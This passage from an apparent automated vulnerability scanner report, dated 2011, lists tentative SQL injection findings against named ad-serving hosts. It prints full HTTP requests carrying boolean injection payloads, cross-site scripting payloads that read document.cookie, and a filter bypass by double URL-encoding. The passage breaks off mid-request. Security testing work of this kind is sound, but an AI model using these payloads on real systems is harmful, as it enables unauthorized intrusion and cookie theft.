Content-Type: text/html

1.13. http://q1.checkm8.com/adam/detected [JE parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://q1.checkm8.com
Path:	/adam/detected

Issue detail

The JE parameter appears to be vulnerable to SQL injection attacks. The payloads 20703968%20or%201%3d1--%20 and 20703968%20or%201%3d2--%20 were each submitted in the JE parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /adam/detected?cat=Philly.Home&page=343175042346861&serial=1000:1:A&&LOC=http://www.philly.com/s\qaction=reg\arequested=y\arurl=http\p3A\p2F\p2Fwww.philly.com\p2Fphilly\p2Fnews\p2Fnation_world\p2F121548659.html\p3Fef135\p27\p3Balert\p28document.cookie\p29\p2F\p2F4b169261d24\p3D1&WIDTH=865&HEIGHT=912&WIDTH_RANGE=WR_C&DATE=01110510&HOUR=09&RES=RS21&ORD=1920249378467529&req=fr&&Site_Width=940&~=&OS=WIN7&JE=120703968%20or%201%3d1--%20&UL=en&RES=RS21 HTTP/1.1
Host: q1.checkm8.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/s?action=reg&requested=y&rurl=http%3A%2F%2Fwww.philly.com%2Fphilly%2Fnews%2Fnation_world%2F121548659.html%3Fef135%27%3Balert%28document.cookie%29%2F%2F4b169261d24%3D1
Cookie: cm8dccp=1305037224

Response 1

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:22:56 GMT
Server: Apache
P3P: policyref="http://q1.checkm8.com/w3c/p3p.xml", CP="NOI DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IND UNI COM NAV STA OTC"
x-internal-server: 192.168.212.15 NY-AD5
Set-cookie: dt=95,20110510142256,OS=WIN7&JE=120703968%20or%201%3d1--%20&UL=en&RES=RS21&CE=1305037224;Path=/;Expires=Sun, 17-Jan-2038 23:27:27 GMT;
Set-cookie: A=d6ZLW3wP1GZRv1R7SOoa;Path=/;
Set-cookie: C=o6ZLW3w4G6NZcaabaW4OH3g;Path=/;Expires=Mon, 24-Sep-2074 17:56:16 GMT;
Set-cookie: O=e6ZLW3wfgMMSgGMBnUOka;Path=/;Expires=Mon, 24-Sep-2074 17:56:16 GMT;
x-internal-browser: FF40
Set-Cookie: cm8dccp=;Path=/;Expires=Mon, 12-Jan-1970 13:46:40 GMT;
Set-Cookie: cm8dccp=;Path=/;Expires=Mon, 12-Jan-1970 13:46:40 GMT;Domain=.q1.checkm8.com
Set-Cookie: cm8dccp=;Path=/;Expires=Mon, 12-Jan-1970 13:46:40 GMT;Domain=.checkm8.com
x-internal-id: 151986112/1225783813/388016880/819068785
x-internal-selected:
x-internal-no-count: ROBOT-OVERLOAD
x-internal-error: DUPLICATED REQUEST-SERIAL - PLEASE FIX ON SITE
Cache-Control: no-cache, no-store, max-age=0
Vary: Accept-Encoding
Connection: close
Content-Type: application/javascript
Content-Length: 26

...(function(){

})();

Request 2

GET /adam/detected?cat=Philly.Home&page=343175042346861&serial=1000:1:A&&LOC=http://www.philly.com/s\qaction=reg\arequested=y\arurl=http\p3A\p2F\p2Fwww.philly.com\p2Fphilly\p2Fnews\p2Fnation_world\p2F121548659.html\p3Fef135\p27\p3Balert\p28document.cookie\p29\p2F\p2F4b169261d24\p3D1&WIDTH=865&HEIGHT=912&WIDTH_RANGE=WR_C&DATE=01110510&HOUR=09&RES=RS21&ORD=1920249378467529&req=fr&&Site_Width=940&~=&OS=WIN7&JE=120703968%20or%201%3d2--%20&UL=en&RES=RS21 HTTP/1.1
Host: q1.checkm8.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/s?action=reg&requested=y&rurl=http%3A%2F%2Fwww.philly.com%2Fphilly%2Fnews%2Fnation_world%2F121548659.html%3Fef135%27%3Balert%28document.cookie%29%2F%2F4b169261d24%3D1
Cookie: cm8dccp=1305037224

Response 2

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:22:56 GMT
Server: Apache
P3P: policyref="http://q1.checkm8.com/w3c/p3p.xml", CP="NOI DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IND UNI COM NAV STA OTC"
x-internal-server: 192.168.212.19 ny-ad9
Set-cookie: dt=95,20110510142256,OS=WIN7&JE=120703968%20or%201%3d2--%20&UL=en&RES=RS21&CE=1305037224;Path=/;Expires=Sun, 17-Jan-2038 23:27:27 GMT;
Set-cookie: A=d6ZLW3wJ6HYKwEXQK2Ba;Path=/;
Set-cookie: C=o6ZLW3wmSVMSdaabaZVLWKKc;Path=/;Expires=Mon, 24-Sep-2074 17:56:16 GMT;
x-internal-browser: FF40
Set-Cookie: cm8dccp=;Path=/;Expires=Mon, 12-Jan-1970 13:46:40 GMT;
Set-Cookie: cm8dccp=;Path=/;Expires=Mon, 12-Jan-1970 13:46:40 GMT;Domain=.q1.checkm8.com
Set-Cookie: cm8dccp=;Path=/;Expires=Mon, 12-Jan-1970 13:46:40 GMT;Domain=.checkm8.com
x-internal-note: NO-COOKIES-BY-FROZEN-COOKIES-DETECTION
x-internal-id: 196235096/1270055465/3846566913/1588776318
x-internal-selected:
x-internal-no-count: ROBOT-OVERLOAD
x-internal-error: DUPLICATED REQUEST-SERIAL - PLEASE FIX ON SITE
Cache-Control: no-cache, no-store, max-age=0
Vary: Accept-Encoding
Connection: close
Content-Type: application/javascript
Content-Length: 26

...(function(){

})();

1.14. http://q1.checkm8.com/adam/detected [WIDTH parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://q1.checkm8.com
Path:	/adam/detected

Issue detail

The WIDTH parameter appears to be vulnerable to SQL injection attacks. The payloads 45239817%20or%201%3d1--%20 and 45239817%20or%201%3d2--%20 were each submitted in the WIDTH parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /adam/detected?cat=Philly.Home&page=343175042346861&serial=1000:1:A&&LOC=http://www.philly.com/s\qaction=reg\arequested=y\arurl=http\p3A\p2F\p2Fwww.philly.com\p2Fphilly\p2Fnews\p2Fnation_world\p2F121548659.html\p3Fef135\p27\p3Balert\p28document.cookie\p29\p2F\p2F4b169261d24\p3D1&WIDTH=86545239817%20or%201%3d1--%20&HEIGHT=912&WIDTH_RANGE=WR_C&DATE=01110510&HOUR=09&RES=RS21&ORD=1920249378467529&req=fr&&Site_Width=940&~=&OS=WIN7&JE=1&UL=en&RES=RS21 HTTP/1.1
Host: q1.checkm8.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/s?action=reg&requested=y&rurl=http%3A%2F%2Fwww.philly.com%2Fphilly%2Fnews%2Fnation_world%2F121548659.html%3Fef135%27%3Balert%28document.cookie%29%2F%2F4b169261d24%3D1
Cookie: cm8dccp=1305037224

Response 1

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:22:48 GMT
Server: Apache
P3P: policyref="http://q1.checkm8.com/w3c/p3p.xml", CP="NOI DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IND UNI COM NAV STA OTC"
x-internal-server: 192.168.212.14 NY-AD4
Set-cookie: dt=95,20110510142248,OS=WIN7&JE=1&UL=en&RES=RS21&CE=1305037224;Path=/;Expires=Sun, 17-Jan-2038 23:27:27 GMT;
Set-cookie: A=dYZLW3wTXTJTvl5S9Pya;Path=/;
Set-cookie: C=oYZLW3w4P620caabaMRGZSf;Path=/;Expires=Mon, 24-Sep-2074 17:56:08 GMT;
Set-cookie: O=eYZLW3wfgMMSgGMBnUOka;Path=/;Expires=Mon, 24-Sep-2074 17:56:08 GMT;
x-internal-browser: FF40
Set-Cookie: cm8dccp=;Path=/;Expires=Mon, 12-Jan-1970 13:46:40 GMT;
Set-Cookie: cm8dccp=;Path=/;Expires=Mon, 12-Jan-1970 13:46:40 GMT;Domain=.q1.checkm8.com
Set-Cookie: cm8dccp=;Path=/;Expires=Mon, 12-Jan-1970 13:46:40 GMT;Domain=.checkm8.com
x-internal-id: 154727442/1228549327/311497400/1394483737
x-internal-selected:
x-internal-no-count: ROBOT-OVERLOAD
x-internal-error: DUPLICATED REQUEST-SERIAL - PLEASE FIX ON SITE
Cache-Control: no-cache, no-store, max-age=0
Vary: Accept-Encoding
Connection: close
Content-Type: application/javascript
Content-Length: 26

...(function(){

})();

Request 2

GET /adam/detected?cat=Philly.Home&page=343175042346861&serial=1000:1:A&&LOC=http://www.philly.com/s\qaction=reg\arequested=y\arurl=http\p3A\p2F\p2Fwww.philly.com\p2Fphilly\p2Fnews\p2Fnation_world\p2F121548659.html\p3Fef135\p27\p3Balert\p28document.cookie\p29\p2F\p2F4b169261d24\p3D1&WIDTH=86545239817%20or%201%3d2--%20&HEIGHT=912&WIDTH_RANGE=WR_C&DATE=01110510&HOUR=09&RES=RS21&ORD=1920249378467529&req=fr&&Site_Width=940&~=&OS=WIN7&JE=1&UL=en&RES=RS21 HTTP/1.1
Host: q1.checkm8.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/s?action=reg&requested=y&rurl=http%3A%2F%2Fwww.philly.com%2Fphilly%2Fnews%2Fnation_world%2F121548659.html%3Fef135%27%3Balert%28document.cookie%29%2F%2F4b169261d24%3D1
Cookie: cm8dccp=1305037224

Response 2

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:22:48 GMT
Server: Apache
P3P: policyref="http://q1.checkm8.com/w3c/p3p.xml", CP="NOI DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IND UNI COM NAV STA OTC"
x-internal-server: 192.168.212.19 ny-ad9
Set-cookie: dt=95,20110510142248,OS=WIN7&JE=1&UL=en&RES=RS21&CE=1305037224;Path=/;Expires=Sun, 17-Jan-2038 23:27:27 GMT;
Set-cookie: A=dYZLW3wJ6HYKwq9P705ba;Path=/;
Set-cookie: C=oYZLW3wmSVMSdaaba7WL19Hb;Path=/;Expires=Mon, 24-Sep-2074 17:56:08 GMT;
x-internal-browser: FF40
Set-Cookie: cm8dccp=;Path=/;Expires=Mon, 12-Jan-1970 13:46:40 GMT;
Set-Cookie: cm8dccp=;Path=/;Expires=Mon, 12-Jan-1970 13:46:40 GMT;Domain=.q1.checkm8.com
Set-Cookie: cm8dccp=;Path=/;Expires=Mon, 12-Jan-1970 13:46:40 GMT;Domain=.checkm8.com
x-internal-note: NO-COOKIES-BY-FROZEN-COOKIES-DETECTION
x-internal-id: 196235096/1270055465/1946258675/3304200488
x-internal-selected:
x-internal-error: DUPLICATED REQUEST-SERIAL - PLEASE FIX ON SITE
Cache-Control: no-cache, no-store, max-age=0
Vary: Accept-Encoding
Connection: close
Content-Type: application/javascript
Content-Length: 26

...(function(){

})();

1.15. http://q1.checkm8.com/adam/detected [cat parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://q1.checkm8.com
Path:	/adam/detected

Issue detail

The cat parameter appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the cat parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /adam/detected?cat=Philly.Home'%20and%201%3d1--%20&page=343175042346861&serial=1000:1:A&&LOC=http://www.philly.com/s\qaction=reg\arequested=y\arurl=http\p3A\p2F\p2Fwww.philly.com\p2Fphilly\p2Fnews\p2Fnation_world\p2F121548659.html\p3Fef135\p27\p3Balert\p28document.cookie\p29\p2F\p2F4b169261d24\p3D1&WIDTH=865&HEIGHT=912&WIDTH_RANGE=WR_C&DATE=01110510&HOUR=09&RES=RS21&ORD=1920249378467529&req=fr&&Site_Width=940&~=&OS=WIN7&JE=1&UL=en&RES=RS21 HTTP/1.1
Host: q1.checkm8.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/s?action=reg&requested=y&rurl=http%3A%2F%2Fwww.philly.com%2Fphilly%2Fnews%2Fnation_world%2F121548659.html%3Fef135%27%3Balert%28document.cookie%29%2F%2F4b169261d24%3D1
Cookie: cm8dccp=1305037224

Response 1

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:22:46 GMT
Server: Apache
P3P: policyref="http://q1.checkm8.com/w3c/p3p.xml", CP="NOI DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IND UNI COM NAV STA OTC"
x-internal-server: 192.168.212.24 ny-ad14
Set-cookie: dt=95,20110510142246,OS=WIN7&JE=1&UL=en&RES=RS21&CE=1305037224;Path=/;Expires=Sun, 17-Jan-2038 23:27:27 GMT;
Set-cookie: A=dWZLW3w8K72Qxi20LLXba;Path=/;
Set-cookie: C=oWZLW3wW5PRYeaaba1Q9T9Kc;Path=/;Expires=Mon, 24-Sep-2074 17:56:06 GMT;
Set-cookie: O=eWZLW3wfgMMSgGMBnUOka;Path=/;Expires=Mon, 24-Sep-2074 17:56:06 GMT;
x-internal-browser: FF40
Set-Cookie: cm8dccp=;Path=/;Expires=Mon, 12-Jan-1970 13:46:40 GMT;
Set-Cookie: cm8dccp=;Path=/;Expires=Mon, 12-Jan-1970 13:46:40 GMT;Domain=.q1.checkm8.com
Set-Cookie: cm8dccp=;Path=/;Expires=Mon, 12-Jan-1970 13:46:40 GMT;Domain=.checkm8.com
x-internal-id: 264862870/1338682980/3892610037/2817138338
x-internal-selected:
x-internal-error: NO VALID CATEGORY NAME
Cache-Control: no-cache, no-store, max-age=0
Vary: Accept-Encoding
Connection: close
Content-Type: application/javascript
Content-Length: 3

...

Request 2

GET /adam/detected?cat=Philly.Home'%20and%201%3d2--%20&page=343175042346861&serial=1000:1:A&&LOC=http://www.philly.com/s\qaction=reg\arequested=y\arurl=http\p3A\p2F\p2Fwww.philly.com\p2Fphilly\p2Fnews\p2Fnation_world\p2F121548659.html\p3Fef135\p27\p3Balert\p28document.cookie\p29\p2F\p2F4b169261d24\p3D1&WIDTH=865&HEIGHT=912&WIDTH_RANGE=WR_C&DATE=01110510&HOUR=09&RES=RS21&ORD=1920249378467529&req=fr&&Site_Width=940&~=&OS=WIN7&JE=1&UL=en&RES=RS21 HTTP/1.1
Host: q1.checkm8.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/s?action=reg&requested=y&rurl=http%3A%2F%2Fwww.philly.com%2Fphilly%2Fnews%2Fnation_world%2F121548659.html%3Fef135%27%3Balert%28document.cookie%29%2F%2F4b169261d24%3D1
Cookie: cm8dccp=1305037224

Response 2

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:22:46 GMT
Server: Apache
P3P: policyref="http://q1.checkm8.com/w3c/p3p.xml", CP="NOI DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IND UNI COM NAV STA OTC"
x-internal-server: 192.168.212.19 ny-ad9
Set-cookie: dt=95,20110510142246,OS=WIN7&JE=1&UL=en&RES=RS21&CE=1305037224;Path=/;Expires=Sun, 17-Jan-2038 23:27:27 GMT;
Set-cookie: A=dWZLW3wJ6HYKwuFV9NKba;Path=/;
Set-cookie: C=oWZLW3wmSVMSdaabaXO37PHc;Path=/;Expires=Mon, 24-Sep-2074 17:56:06 GMT;
x-internal-browser: FF40
Set-Cookie: cm8dccp=;Path=/;Expires=Mon, 12-Jan-1970 13:46:40 GMT;
Set-Cookie: cm8dccp=;Path=/;Expires=Mon, 12-Jan-1970 13:46:40 GMT;Domain=.q1.checkm8.com
Set-Cookie: cm8dccp=;Path=/;Expires=Mon, 12-Jan-1970 13:46:40 GMT;Domain=.checkm8.com
x-internal-note: NO-COOKIES-BY-FROZEN-COOKIES-DETECTION
x-internal-id: 196235096/1270055465/3684716779/2077893440
x-internal-selected:
x-internal-error: NO VALID CATEGORY NAME
Cache-Control: no-cache, no-store, max-age=0
Vary: Accept-Encoding
Connection: close
Content-Type: application/javascript
Content-Length: 3

...

1.16. http://q1.checkm8.com/adam/detected [req parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://q1.checkm8.com
Path:	/adam/detected

Issue detail

The req parameter appears to be vulnerable to SQL injection attacks. The payloads 13762249'%20or%201%3d1--%20 and 13762249'%20or%201%3d2--%20 were each submitted in the req parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /adam/detected?cat=Philly.Home&page=343175042346861&serial=1000:1:A&&LOC=http://www.philly.com/s\qaction=reg\arequested=y\arurl=http\p3A\p2F\p2Fwww.philly.com\p2Fphilly\p2Fnews\p2Fnation_world\p2F121548659.html\p3Fef135\p27\p3Balert\p28document.cookie\p29\p2F\p2F4b169261d24\p3D1&WIDTH=865&HEIGHT=912&WIDTH_RANGE=WR_C&DATE=01110510&HOUR=09&RES=RS21&ORD=1920249378467529&req=fr13762249'%20or%201%3d1--%20&&Site_Width=940&~=&OS=WIN7&JE=1&UL=en&RES=RS21 HTTP/1.1
Host: q1.checkm8.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/s?action=reg&requested=y&rurl=http%3A%2F%2Fwww.philly.com%2Fphilly%2Fnews%2Fnation_world%2F121548659.html%3Fef135%27%3Balert%28document.cookie%29%2F%2F4b169261d24%3D1
Cookie: cm8dccp=1305037224

Response 1

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:22:52 GMT
Server: Apache
P3P: policyref="http://q1.checkm8.com/w3c/p3p.xml", CP="NOI DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IND UNI COM NAV STA OTC"
x-internal-server: 192.168.212.18 NY-AD8
Set-cookie: dt=95,20110510142252,OS=WIN7&JE=1&UL=en&RES=RS21&CE=1305037224;Path=/;Expires=Sun, 17-Jan-2038 23:27:27 GMT;
Set-cookie: A=d2ZLW3wt9JXIwQPYZNza;Path=/;
Set-cookie: C=o2ZLW3w6RXLQdaabap02MJKb;Path=/;Expires=Mon, 24-Sep-2074 17:56:12 GMT;
Set-cookie: O=e2ZLW3wfgMMSgGMBnUOka;Path=/;Expires=Mon, 24-Sep-2074 17:56:12 GMT;
x-internal-browser: FF40
Set-Cookie: cm8dccp=;Path=/;Expires=Mon, 12-Jan-1970 13:46:40 GMT;
Set-Cookie: cm8dccp=;Path=/;Expires=Mon, 12-Jan-1970 13:46:40 GMT;Domain=.q1.checkm8.com
Set-Cookie: cm8dccp=;Path=/;Expires=Mon, 12-Jan-1970 13:46:40 GMT;Domain=.checkm8.com
x-internal-id: 192485258/1266305813/2069149637/1447462706
x-internal-selected:
x-internal-no-count: ROBOT-OVERLOAD
x-internal-error: DUPLICATED REQUEST-SERIAL - PLEASE FIX ON SITE
Cache-Control: no-cache, no-store, max-age=0
Vary: Accept-Encoding
Connection: close
Content-Type: application/javascript
Content-Length: 26

...(function(){

})();

Request 2

GET /adam/detected?cat=Philly.Home&page=343175042346861&serial=1000:1:A&&LOC=http://www.philly.com/s\qaction=reg\arequested=y\arurl=http\p3A\p2F\p2Fwww.philly.com\p2Fphilly\p2Fnews\p2Fnation_world\p2F121548659.html\p3Fef135\p27\p3Balert\p28document.cookie\p29\p2F\p2F4b169261d24\p3D1&WIDTH=865&HEIGHT=912&WIDTH_RANGE=WR_C&DATE=01110510&HOUR=09&RES=RS21&ORD=1920249378467529&req=fr13762249'%20or%201%3d2--%20&&Site_Width=940&~=&OS=WIN7&JE=1&UL=en&RES=RS21 HTTP/1.1
Host: q1.checkm8.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/s?action=reg&requested=y&rurl=http%3A%2F%2Fwww.philly.com%2Fphilly%2Fnews%2Fnation_world%2F121548659.html%3Fef135%27%3Balert%28document.cookie%29%2F%2F4b169261d24%3D1
Cookie: cm8dccp=1305037224

Response 2

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:22:53 GMT
Server: Apache
P3P: policyref="http://q1.checkm8.com/w3c/p3p.xml", CP="NOI DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IND UNI COM NAV STA OTC"
x-internal-server: 192.168.212.19 ny-ad9
Set-cookie: dt=95,20110510142253,OS=WIN7&JE=1&UL=en&RES=RS21&CE=1305037224;Path=/;Expires=Sun, 17-Jan-2038 23:27:27 GMT;
Set-cookie: A=d3ZLW3wJ6HYKwv6L2N2ba;Path=/;
Set-cookie: C=o3ZLW3wmSVMSdaabaUWLKPHb;Path=/;Expires=Mon, 24-Sep-2074 17:56:13 GMT;
x-internal-browser: FF40
Set-Cookie: cm8dccp=;Path=/;Expires=Mon, 12-Jan-1970 13:46:40 GMT;
Set-Cookie: cm8dccp=;Path=/;Expires=Mon, 12-Jan-1970 13:46:40 GMT;Domain=.q1.checkm8.com
Set-Cookie: cm8dccp=;Path=/;Expires=Mon, 12-Jan-1970 13:46:40 GMT;Domain=.checkm8.com
x-internal-note: NO-COOKIES-BY-FROZEN-COOKIES-DETECTION
x-internal-id: 196235096/1270055465/1908304928/3108108257
x-internal-selected:
x-internal-no-count: ROBOT-OVERLOAD
x-internal-error: DUPLICATED REQUEST-SERIAL - PLEASE FIX ON SITE
Cache-Control: no-cache, no-store, max-age=0
Vary: Accept-Encoding
Connection: close
Content-Type: application/javascript
Content-Length: 26

...(function(){

})();

1.17. http://tag.contextweb.com/TagPublish/getad.aspx [tl parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://tag.contextweb.com
Path:	/TagPublish/getad.aspx

Issue detail

The tl parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the tl parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the tl request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /TagPublish/getad.aspx?tagver=1&ca=VIEWAD&cp=530930&ct=90495&cf=728X90&cn=1&rq=1&dw=1066&cwu=http%3A%2F%2Fwww.gather.com%2F6360d%253Cimg%2Bsrc%3Da%2Bonerror%3Dalert%281%29%253E1b6979d15ce&mrnd=21675705&if=0&tl=1%2527&pxy=169,100&cxy=1066,267&dxy=1066,267&tz=300&ln=en-US HTTP/1.1
Host: tag.contextweb.com
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: C2W4=3bZ_cGKSaikCutesUynzUXb59QbtOHa7Nv35a38qe_dW_2SdvoXWHsQ; cr=2|1|-8588966416881931568|1; cwbh1=541%3B05%2F24%2F2011%3BLIFL1%0A1697%3B05%2F24%2F2011%3BFCRT1%0A2354%3B05%2F24%2F2011%3BZETC1%0A2532%3B05%2F26%2F2011%3BAMQU2%0A1443%3B05%2F30%2F2011%3BNETM7%0A2250%3B06%2F06%2F2011%3BEXPD1; FC1-WC=^53620_1_2TBaI; pb_rtb_ev=1:535495.0c2aede6-6bb6-11e0-8fe6-0025900a8ffe.1|535039.9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC.0|535461.2931142961646634775.0; V=wOebwAz4UvVv; 530930_3_90494=1305036044955; 530930_4_90495=1305036425755; vf=5

Response 1

HTTP/1.1 200 OK
X-Powered-By: Servlet/3.0
Server: GlassFish v3
CW-Server: CW-APP202
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
Content-Length: 1183
Date: Tue, 10 May 2011 14:13:13 GMT
Connection: close

var strCreative=''
+ '<img src=http://media.contextweb.com/creatives/defaults/300x250.gif height=250 border=0 width=300 alt="There is an error in the ad tag code."><!--ERROR_TAG(id=cw-app202_nYoliQQC
...[SNIP]...

Request 2

GET /TagPublish/getad.aspx?tagver=1&ca=VIEWAD&cp=530930&ct=90495&cf=728X90&cn=1&rq=1&dw=1066&cwu=http%3A%2F%2Fwww.gather.com%2F6360d%253Cimg%2Bsrc%3Da%2Bonerror%3Dalert%281%29%253E1b6979d15ce&mrnd=21675705&if=0&tl=1%2527%2527&pxy=169,100&cxy=1066,267&dxy=1066,267&tz=300&ln=en-US HTTP/1.1
Host: tag.contextweb.com
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: C2W4=3bZ_cGKSaikCutesUynzUXb59QbtOHa7Nv35a38qe_dW_2SdvoXWHsQ; cr=2|1|-8588966416881931568|1; cwbh1=541%3B05%2F24%2F2011%3BLIFL1%0A1697%3B05%2F24%2F2011%3BFCRT1%0A2354%3B05%2F24%2F2011%3BZETC1%0A2532%3B05%2F26%2F2011%3BAMQU2%0A1443%3B05%2F30%2F2011%3BNETM7%0A2250%3B06%2F06%2F2011%3BEXPD1; FC1-WC=^53620_1_2TBaI; pb_rtb_ev=1:535495.0c2aede6-6bb6-11e0-8fe6-0025900a8ffe.1|535039.9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC.0|535461.2931142961646634775.0; V=wOebwAz4UvVv; 530930_3_90494=1305036044955; 530930_4_90495=1305036425755; vf=5

Response 2

1.18. http://tag.contextweb.com/TagPublish/getad.aspx [tl parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://tag.contextweb.com
Path:	/TagPublish/getad.aspx

Issue detail

Request 1

GET /TagPublish/getad.aspx?tagver=1&ca=VIEWAD&cp=530930&ct=90494&cf=300X250&cn=1&rq=1&dw=865&cwu=http%3A%2F%2Fwww.gather.com%2F6360d%253Cimg%2Bsrc%3Da%2Bonerror%3Dalert%281%29%253E1b6979d15ce&mrnd=42339118&if=0&tl=1'&pxy=670,265&cxy=865,527&dxy=865,527&tz=300&ln=en-US HTTP/1.1
Host: tag.contextweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce
